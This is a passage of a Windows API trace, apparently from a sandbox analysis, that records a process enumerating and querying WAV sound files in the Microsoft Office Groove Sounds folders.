	[0052.505] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUGH.WAV", cAlternateFileName="")) returned 1
	[0052.505] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7860, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIGGLE.WAV", cAlternateFileName="")) returned 1
	[0052.505] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="HICCUP.WAV", cAlternateFileName="")) returned 1
	[0052.505] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMHMM.WAV", cAlternateFileName="")) returned 1
	[0052.505] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNEEZE.WAV", cAlternateFileName="")) returned 1
	[0052.505] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8d36, dwReserved0=0x0, dwReserved1=0x0, cFileName="THROAT.WAV", cAlternateFileName="")) returned 1
	[0052.505] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whistling.wav", cAlternateFileName="WHISTL~1.WAV")) returned 1
	[0052.505] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.505] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260a878 | out: lpFileInformation=0x1260a878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4)) returned 1
	[0052.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260a8c8 | out: lpFileInformation=0x1260a8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7860)) returned 1
	[0052.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260a918 | out: lpFileInformation=0x1260a918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38ea)) returned 1
	[0052.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260a968 | out: lpFileInformation=0x1260a968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b00)) returned 1
	[0052.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260a9b8 | out: lpFileInformation=0x1260a9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9c84)) returned 1
	[0052.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260aa08 | out: lpFileInformation=0x1260aa08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8d36)) returned 1
	[0052.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260aa58 | out: lpFileInformation=0x1260aa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302)) returned 1
	[0052.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), fInfoLevelId=0x0, lpFileInformation=0x1260aaa8 | out: lpFileInformation=0x1260aaa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.511] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.511] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM.WAV", cAlternateFileName="")) returned 1
	[0052.511] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUZZ.WAV", cAlternateFileName="")) returned 1
	[0052.511] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd686, dwReserved0=0x0, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1
	[0052.511] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADAR.WAV", cAlternateFileName="")) returned 1
	[0052.511] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOT.WAV", cAlternateFileName="")) returned 1
	[0052.511] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIBE.WAV", cAlternateFileName="")) returned 1
	[0052.511] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WARN.WAV", cAlternateFileName="")) returned 1
	[0052.511] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.511] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260ad28 | out: lpFileInformation=0x1260ad28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0)) returned 1
	[0052.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260ad78 | out: lpFileInformation=0x1260ad78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb78)) returned 1
	[0052.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260adc8 | out: lpFileInformation=0x1260adc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd686)) returned 1
	[0052.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260ae18 | out: lpFileInformation=0x1260ae18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100ea)) returned 1
	[0052.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260ae68 | out: lpFileInformation=0x1260ae68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64a)) returned 1
	[0052.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260aeb8 | out: lpFileInformation=0x1260aeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea72)) returned 1
	[0052.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav"), fInfoLevelId=0x0, lpFileInformation=0x1260af08 | out: lpFileInformation=0x1260af08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a)) returned 1
	[0052.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), fInfoLevelId=0x0, lpFileInformation=0x1260af58 | out: lpFileInformation=0x1260af58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.517] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.517] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAN.WAV", cAlternateFileName="")) returned 1
	[0052.517] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUPLER.WAV", cAlternateFileName="")) returned 1
	[0052.517] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa412, dwReserved0=0x0, dwReserved1=0x0, cFileName="HORN.WAV", cAlternateFileName="")) returned 1
	[0052.517] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOT.WAV", cAlternateFileName="")) returned 1
	[0052.517] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf548, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOVEL.WAV", cAlternateFileName="")) returned 1
	[0052.517] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xedd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPLASH.WAV", cAlternateFileName="")) returned 1
	[0052.517] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1
